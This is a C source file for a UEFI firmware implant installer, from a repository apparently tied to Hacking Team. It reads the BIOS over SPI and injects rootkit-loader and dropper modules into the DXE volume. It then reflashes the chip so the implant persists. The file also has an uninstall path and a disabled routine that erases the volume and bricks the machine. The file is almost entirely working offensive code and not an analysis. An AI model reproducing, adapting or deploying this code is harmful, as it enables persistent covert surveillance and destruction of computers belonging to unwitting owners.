hackedteam/vector-edk

View on GitHub
AppPkg/Applications/chipsec/main.c

Summary

Maintainability
Test Coverage
#include <Uefi.h>
#include <Library/BaseLib.h>
#include <Library/DebugLib.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>

#include "conio.h"

#include "config.h"
#include "settings.h"
#include "chipset.h"
#include "spi.h"
#include "fv.h"

void readspi_callback(UINT32 spibase_addr, UINT32 spi_size, UINT32 spiaddr);
void writespi_callback(UINT32 spibase_addr, UINT32 spi_size, UINT32 spiaddr);
void erasespi_callback(UINT32 spibase_addr, UINT32 spi_size, UINT32 spiaddr);
void errorspi_callback(UINT32 spiaddr, UINT16 command);

int load_file(char *filename, char **fileBuffer, int *fileSize)
{
    FILE *fp;
    char *buffer;

    fp = fopen(filename, "rb");

    if (fp == NULL)
    {
        *fileBuffer = NULL;
        *fileSize = 0;
        goto END;
    }

    fseek(fp, 0, SEEK_END);

    *fileSize = (int) ftell(fp);

    fseek(fp, 0, SEEK_SET);

    buffer = malloc(*fileSize);

    memset(buffer, 0xFF, *fileSize);

    fread(buffer, 1, *fileSize, fp);
    fclose(fp);

    *fileBuffer = buffer;
    return 0;
END:
    return 1;
}

int save_file(const char *filename, char *buffer, int length)
{
    FILE *fp;
    int handle;
    int step = length / 100;
    int progress = 1, _length = length;

    fp = fopen(filename, "wb");

    if (fp == NULL)
    {
        printf("Cannot open %s\n", filename);
        return 1;
    }

    handle = fileno(fp);
    

    fcntl(handle, F_SETFL, __SNBF);    // e che dio ce la mandi buona!

    printf("Writing %s   0%%\r", filename);

    while(_length > 0)
    {
        if (_length > 512)
        {
            fwrite(buffer, 512, 1, fp);
            buffer += 512;
            _length -= 512;
        }
        else
        {
            fwrite(buffer, _length, 1, fp);
            _length -= _length;
        }

        if (_length < (length - step * progress))
            printf("Writing %s %-3d%%\r", filename, progress++);
    }

    printf("Writing %s 100%%\n", filename);
    
    fclose(fp);
    return 0;
}


int show_menu()
{
    char c;
    int result = -1;

ask_choice:
    clrscr();

    textbackground(BLUE);
    textcolor(WHITE);
    
    printf("\n");
    printf("\n");
    printf("i: Install\n");
    printf("u: Uninstall\n");
    printf("d: Dump BIOS\n");
    //printf("x: Erase DXE!\n");
    printf("\n");
    printf("q: Exit\n");
    printf("r: reboot\n");

    c = getchar();

    switch(c)
    {
        case 'i':
        case 'I':
                result = 0;
            break;
        case 'u':
        case 'U':
                result = 1;
            break;
        case 'd':
        case 'D':
                result = 2;
            break;
        case 'q':
        case 'Q':
                result = 3;
            break;
        case 'x':
        case 'X':    // cannot use this!
                result = 5;
                break;
        case 'r':
        case 'R':
            result = 4;
            break;
        default:
            result = -1;
            break;
    }
    
    if (result == -1)
        goto ask_choice;

    return result;
}

const char *pathBIOS = "\\tmp\\bios.bin";
const char *pathDXE = "\\tmp\\dxe.bin";
const char *pathNewDXE = "\\tmp\\newdxe.bin";
const char *pathNewFv = "\\tmp\\newfc.bin";

char *pathDriver0 = "\\modules\\ntfs.mod";
char *pathDriver1 = "\\modules\\rkloader.mod";
char *pathDriver2 = "\\modules\\dropper.mod";

char *modules[4];

int check_modules()
{
    FILE *fp;
    int i;

    i = 0;

    while(modules[i] != NULL)
    {
        //printf("\nChecking %s", modules[i]);

        fp = fopen(modules[i], "rb");

        if (fp == NULL)
        {
            textcolor(RED);
            printf("\nNo configuration files found on storage %s", modules[i]);
            textcolor(LIGHTGRAY);
            return 1;
        }
        fclose(fp);
        i++;
    }

    return 0;
}

int PushModules(UINT8 *DxeBuffer, UINT32 DxeLength)
{
    int i, buff_size;
    char *buffer;

    i = 0;
    while(modules[i] != NULL)
    {
        printf("Adding file %s on volume ", modules[i]);

        if (load_file(modules[i], &buffer, &buff_size) != 0)
        {
            textcolor(RED);
            printf(" ... ERROR!\n");
            return 1;
        }

        if (Py_FvVolumeAddFile(DxeBuffer, DxeLength, (UINT8 *) buffer, buff_size) != EFI_SUCCESS)
        {
            printf(" ... Cannot add file into partition\n");
            return 1;
        }

        free(buffer);    // release buffer!
        buffer = NULL;
        buff_size = 0;

        i++;

        printf(" .. OK!\n");
    }

    return 0;
}

int PopFiles(UINT8 *DxeBuffer, UINT32 DxeLength)
{
    int i, buff_size;
    char *buffer;
    int _require_update = 0;

    i = 0;
    while(modules[i] != NULL)
    {
        //printf("\nAdding file %s on volume", argv[i]);

        if (load_file(modules[i], &buffer, &buff_size) != 0)
        {
            textcolor(RED);
            printf(" ... ERROR!");
            return 1;
        }

        if (Py_FvDeleteFileFromVolume(DxeBuffer, DxeLength, (UINT8 *) buffer, buff_size) == EFI_SUCCESS)
        {
            _require_update = 1;
        }

        free(buffer);    // release buffer!
        buffer = NULL;
        buff_size = 0;

        i++;
    }

    return _require_update;
}

int install(struct SPI_obj *SPIData, UINTN SPI_REGION, UINTN SPI_LIMIT, UINTN SPI_FREG)
{
    UINT8 *SPIBuffer = NULL, *DxeBuffer = NULL, *NewDxeBuffer = NULL, *volume = NULL;
    UINTN dummy;
    UINT32 SPI_LENGTH, DxeLength, NewDxeLength, VolAddress, VolSize;
    UINT32 VolHandle, VolIndex;

    printf("[Main] BIOS dump from chipset\n");

    SPIBuffer = malloc(SPI_LIMIT - SPI_REGION + 1);

    read_spi((struct SPI_obj *) SPIData, SPI_REGION, 1 + SPI_LIMIT - SPI_REGION, SPIBuffer, &readspi_callback, &errorspi_callback);

    printf("[Main] Reading done. Dump on disk!\n");

    // Dumping Firmware

    SPI_LENGTH = (UINT32)(SPI_LIMIT - SPI_REGION + 1);
    
    save_file(pathBIOS, (char *) SPIBuffer, (int) SPI_LENGTH);

    printf("***********************************************\n");
    printf("* Wait: Opening dump                          *\n");
    printf("***********************************************\n");

    if (Py_LookupDxeImage(SPIBuffer, SPI_LENGTH, &VolHandle) != EFI_SUCCESS)
    {
        textcolor(YELLOW);
        printf("***********************************************\n");
        printf("* ERROR: Invalid UEFI/EFI firmware            *\n");
        printf("* Please submit spi.bin to our support.       *\n");
        printf("***********************************************\n");
        goto END;
    }

    Py_VolumeFromHandle(VolHandle, &VolIndex);

    VolAddress = Py_FvVolumeAddress(SPIBuffer, SPI_LENGTH, VolIndex);
    VolAddress += SPI_REGION;    // Base Address of Volume

    printf("* Uncompress dxe...\n");
    Py_FvOpenVolume(SPIBuffer, SPI_LENGTH, VolHandle, &DxeBuffer, &DxeLength);

    if (DxeBuffer == NULL || DxeLength == 0)
    {
        textcolor(YELLOW);
        printf("***********************************************\n");
        printf("* ERROR: Cannot open DXE volume.              *\n");
        printf("* Please submit spi.bin to our support.       *\n");
        printf("***********************************************\n");
        goto END;
    }

    printf("* Adding files to dxe...\n");
    if (PushModules(DxeBuffer, DxeLength))    // push files!
        return 0;

    printf("* Compressing dxe...\n");

    volume = ptr_to_volume(SPIBuffer, SPI_LENGTH, VolIndex);
    VolSize = volume_size(SPIBuffer, SPI_LENGTH, VolIndex);

    Py_FvCloseVolume(volume, VolSize, DxeBuffer, DxeLength, VolHandle, &NewDxeBuffer, &NewDxeLength);

//    Py_FvVolumeAddFile

    save_file(pathNewFv, (char *) NewDxeBuffer, (int)NewDxeLength);

    printf("***********************************************\n");
    printf("* WARNING: Erasing volume........             *\n");
    printf("***********************************************\n");
    printf("Erasing from address 0x%x for 0x%x bytes.\n",  VolAddress, VolSize);
    erase_spi(SPIData, VolAddress, VolSize, &erasespi_callback, &errorspi_callback);

    textcolor(YELLOW);
    printf("***********************************************\n");
    printf("* WARNING: Reprogramming volume........       *\n");
    printf("***********************************************\n");
    printf("Programming from address 0x%x for 0x%x bytes.\n",  VolAddress, VolSize);
    write_spi(SPIData, VolAddress, VolSize, NewDxeBuffer, &writespi_callback, &errorspi_callback);
            
    textcolor(YELLOW);
    printf("***********************************************\n");
    printf("* INFORMATION: Reboot computer........        *\n");
    printf("***********************************************\n");

END:
    // So.. free previous buffer!
    free(SPIBuffer);
    free(SPIData);

    return 0;
}

int uninstall(struct SPI_obj *SPIData, UINTN SPI_REGION, UINTN SPI_LIMIT, UINTN SPI_FREG)
{
    UINT8 *SPIBuffer = NULL, *DxeBuffer = NULL, *NewDxeBuffer = NULL, *volume = NULL;
    UINTN dummy;
    UINT32 SPI_LENGTH, DxeLength, NewDxeLength, VolAddress, VolSize;
    UINT32 VolHandle, VolIndex;

    printf("[Main] BIOS dump from chipset\n");

    SPIBuffer = malloc(SPI_LIMIT - SPI_REGION + 1);

    read_spi((struct SPI_obj *) SPIData, SPI_REGION, 1 + SPI_LIMIT - SPI_REGION, SPIBuffer, &readspi_callback, &errorspi_callback);

    printf("[Main] Reading done. Dump on disk!\n");


    // Dumping Firmware

    SPI_LENGTH = (UINT32)(SPI_LIMIT - SPI_REGION + 1);
    
    save_file(pathBIOS, (char *) SPIBuffer, (int) SPI_LENGTH);

    printf("***********************************************\n");
    printf("* Wait: Opening dump                          *\n");
    printf("***********************************************\n");

    if (Py_LookupDxeImage(SPIBuffer, SPI_LENGTH, &VolHandle) != EFI_SUCCESS)
    {
        textcolor(YELLOW);
        printf("***********************************************\n");
        printf("* ERROR: Invalid UEFI/EFI firmware            *\n");
        printf("* Please submit spi.bin to our support.       *\n");
        printf("***********************************************\n");
        goto END;
    }

    Py_VolumeFromHandle(VolHandle, &VolIndex);

    VolAddress = Py_FvVolumeAddress(SPIBuffer, SPI_LENGTH, VolIndex);
    VolAddress += SPI_REGION;    // Base Address of Volume

    printf("* Uncompress dxe...\n");
    Py_FvOpenVolume(SPIBuffer, SPI_LENGTH, VolHandle, &DxeBuffer, &DxeLength);

    if (DxeBuffer == NULL || DxeLength == 0)
    {
        textcolor(YELLOW);
        printf("***********************************************\n");
        printf("* ERROR: Cannot open DXE volume.              *\n");
        printf("* Please submit spi.bin to our support.       *\n");
        printf("***********************************************\n");
        goto END;
    }

    if (!PopFiles(DxeBuffer, DxeLength))    // push files!
    {
        textcolor(YELLOW);
        printf("***********************************************\n");
        printf("* INFORMATION: No modules on firmware.        *\n");
        printf("***********************************************\n");

        return 0;
    }

    printf("* Compressing dxe...\n");

    volume = ptr_to_volume(SPIBuffer, SPI_LENGTH, VolIndex);
    VolSize = volume_size(SPIBuffer, SPI_LENGTH, VolIndex);

    Py_FvCloseVolume(volume, VolSize, DxeBuffer, DxeLength, VolHandle, &NewDxeBuffer, &NewDxeLength);

//    Py_FvVolumeAddFile

    printf("***********************************************\n");
    printf("* WARNING: Erasing volume........             *\n");
    printf("***********************************************\n");
    erase_spi(SPIData, VolAddress, VolSize, &erasespi_callback, &errorspi_callback);

    textcolor(YELLOW);
    printf("***********************************************\n");
    printf("* WARNING: Reprogramming volume........       *\n");
    printf("***********************************************\n");
    write_spi(SPIData, VolAddress, VolSize, NewDxeBuffer, &writespi_callback, &errorspi_callback);
            
    textcolor(YELLOW);
    printf("***********************************************\n");
    printf("* INFORMATION: Reboot computer........        *\n");
    printf("***********************************************\n");

END:
    // So.. free previous buffer!
    free(SPIBuffer);
    free(SPIData);

    return 0;
}

int diagnostic(struct SPI_obj *SPIData, UINTN SPI_REGION, UINTN SPI_LIMIT, UINTN SPI_FREG)
{
    UINT8 *SPIBuffer = NULL;
    UINTN dummy;
    UINT32 SPI_LENGTH;

    printf("[Main] BIOS dump from chipset\n");

    SPIBuffer = malloc(SPI_LIMIT - SPI_REGION + 1);

    read_spi((struct SPI_obj *) SPIData, SPI_REGION, 1 + SPI_LIMIT - SPI_REGION, SPIBuffer, &readspi_callback, &errorspi_callback);

    printf("[Main] Reading done. Dump on disk!\n");

    // Dumping Firmware

    SPI_LENGTH = (UINT32)(SPI_LIMIT - SPI_REGION + 1);
    
    save_file(pathBIOS, (char *) SPIBuffer, (int) SPI_LENGTH);

    // So.. free previous buffer!
    free(SPIBuffer);
    free(SPIData);

    return 0;
}

int erase_firmware(struct SPI_obj *SPIData, UINTN SPI_REGION, UINTN SPI_LIMIT, UINTN SPI_FREG)
{
    UINT8 *SPIBuffer = NULL, *volume = NULL;
    UINTN dummy;
    UINT32 SPI_LENGTH, DxeLength, NewDxeLength, VolAddress, VolSize;
    UINT32 VolHandle, VolIndex;

    printf("[Main] BIOS dump from chipset\n");

    SPIBuffer = malloc(SPI_LIMIT - SPI_REGION + 1);

    read_spi((struct SPI_obj *) SPIData, SPI_REGION, 1 + SPI_LIMIT - SPI_REGION, SPIBuffer, &readspi_callback, &errorspi_callback);

    printf("[Main] Reading done. Dump on disk!\n");

    // Dumping Firmware

    SPI_LENGTH = (UINT32)(SPI_LIMIT - SPI_REGION + 1);
    
    printf("***********************************************\n");
    printf("* Wait: Identify partition                    *\n");
    printf("***********************************************\n");

    if (Py_LookupDxeImage(SPIBuffer, SPI_LENGTH, &VolHandle) != EFI_SUCCESS)
    {
        textcolor(YELLOW);
        printf("***********************************************\n");
        printf("* ERROR: Invalid UEFI/EFI firmware            *\n");
        printf("***********************************************\n");
        goto END;
    }

    Py_VolumeFromHandle(VolHandle, &VolIndex);

    VolAddress = Py_FvVolumeAddress(SPIBuffer, SPI_LENGTH, VolIndex);
    VolAddress += SPI_REGION;    // Base Address of Volume

    volume = ptr_to_volume(SPIBuffer, SPI_LENGTH, VolIndex);
    VolSize = volume_size(SPIBuffer, SPI_LENGTH, VolIndex);

    
    printf("***********************************************\n");
    printf("* WARNING: Erasing volume........             *\n");
    printf("***********************************************\n");
    printf("Erasing from address 0x%x for 0x%x bytes.\n",  VolAddress, VolSize);
    erase_spi(SPIData, VolAddress, VolSize, &erasespi_callback, &errorspi_callback);
        
    textcolor(YELLOW);
    printf("***********************************************\n");
    printf("* INFORMATION: Bricked computer..             *\n");
    printf("***********************************************\n");

END:
    // So.. free previous buffer!
    free(SPIBuffer);
    free(SPIData);

    return 0;
}

int main(int argc, char *argv[])
{
    UINT8 *SPIData;
    UINTN dummy;
    UINTN SPI_REGION, SPI_LIMIT, SPI_FREG;
    int result;

    modules[0] = pathDriver0;
    modules[1] = pathDriver1;
    modules[2] = pathDriver2;
    modules[3] = NULL;    // end

    if (check_modules())
    {
        return 0;
    }

    clrscr();
    
    //printf("    **** ][ ****\n");

    if (ChipsetInit() != RETURN_SUCCESS)
    {
        printf("Cannot identify chipset!\n");
        return 1;
    }

    dummy = 0;

    if (SPI_Initialize(gConfiguration, NULL, &dummy) != EFI_BUFFER_TOO_SMALL)
    {
        printf("Cannot initialize SPI over PCI!\n");
        return 1;
    }

    SPIData = malloc(dummy);

    memset(SPIData, 0, dummy);    // clear memory

    if (SPI_Initialize(gConfiguration, SPIData, &dummy) != EFI_SUCCESS)
    {
        printf("[Main] Cannot initialize SPI over PCI (2)!\n");
        return 1;
    }

    // spi object initialized!

    printf("[Main] SPI found\n");

    SPI_REGION = SPI_LIMIT = SPI_FREG = 0;

    get_SPI_region((struct SPI_obj *) SPIData, PCH_RCBA_SPI_FREG1_BIOS, &SPI_REGION, &SPI_LIMIT, &SPI_FREG);
    
    printf("[Main] SPI %08x %08x %08x\n", SPI_REGION, SPI_LIMIT, SPI_FREG);

    result = 0;

    switch(show_menu())
    {
        case 0:
            install((struct SPI_obj *) SPIData, SPI_REGION, SPI_LIMIT, SPI_FREG);
            break;
        case 1:
            uninstall((struct SPI_obj *) SPIData, SPI_REGION, SPI_LIMIT, SPI_FREG);
            break;
        case 2:
            diagnostic((struct SPI_obj *) SPIData, SPI_REGION, SPI_LIMIT, SPI_FREG);
            break;
        case 3:
            result = -1;
            break;
        case 5:
            //erase_firmware((struct SPI_obj *) SPIData, SPI_REGION, SPI_LIMIT, SPI_FREG);

            break;
        default:
            break;
    }

    return result;
}